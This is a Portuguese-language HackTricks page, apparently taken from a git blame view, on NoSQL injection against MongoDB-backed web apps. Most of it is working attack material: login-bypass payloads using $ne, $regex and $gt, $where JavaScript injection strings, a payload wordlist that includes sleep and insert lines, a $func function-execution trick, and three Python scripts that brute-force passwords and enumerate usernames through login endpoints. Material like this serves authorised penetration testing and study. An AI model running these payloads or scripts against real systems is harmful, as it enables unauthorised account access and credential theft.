hacktricks/pentesting-web/nosql-injection.md

281 lines
12 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Injeção NoSQL
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
2022-04-28 16:01:33 +00:00
</details>
## Explorar
Em PHP, você pode enviar um Array alterando o parâmetro enviado de _parâmetro=foo_ para _parâmetro\[arrName]=foo._
Os exploits são baseados em adicionar um **Operador**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
2021-04-19 22:42:22 +00:00
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
2023-06-06 18:56:34 +00:00
### Bypass de autenticação básica
**Usando não igual ($ne) ou maior ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
2021-06-26 15:50:17 +00:00
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
Um atacante pode explorar isso inserindo strings como `admin' || 'a'=='a`, fazendo a consulta retornar todos os documentos ao satisfazer a condição com uma tautologia (`'a'=='a'`). Isso é análogo aos ataques de injeção SQL, onde entradas como `' or 1=1-- -` são usadas para manipular consultas SQL. No MongoDB, injeções semelhantes podem ser feitas usando entradas como `' || 1==1//`, `' || 1==1%00`, ou `admin' || 'a'=='a`.
2023-06-06 18:56:34 +00:00
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
2023-06-06 18:56:34 +00:00
```
### Extrair informações de **comprimento**
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extrair informações de **dados**
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### Execução Arbitrária de Funções em PHP
Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usado por padrão), pode ser possível executar uma função arbitrária como neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit\_auth\_check\_10.png](<../.gitbook/assets/image (933).png>)
### Obter informações de coleções diferentes
É possível usar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma **coleção diferente** chamada **`users`** e obtendo os **resultados de todas as entradas** com uma senha correspondente a um caractere curinga.
**OBSERVAÇÃO:** `$lookup` e outras funções de agregação estão disponíveis apenas se a função `aggregate()` foi usada para realizar a pesquisa em vez das funções mais comuns `find()` ou `findOne()`.
2023-03-23 14:03:29 +00:00
```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
2023-03-23 14:03:29 +00:00
]
```
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2023-06-06 18:56:34 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
2023-06-06 18:56:34 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Payloads MongoDB
Lista [aqui](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Script de Blind NoSQL
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Forçar nomes de usuário e senhas de login a partir do POST login
Este é um script simples que você poderia modificar, mas as ferramentas anteriores também podem realizar essa tarefa.
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
```
## Ferramentas
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
2023-06-06 18:56:34 +00:00
## Referências
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
2022-09-09 11:00:52 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
* [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
* [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas do mundo**.\
Acesse hoje:
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}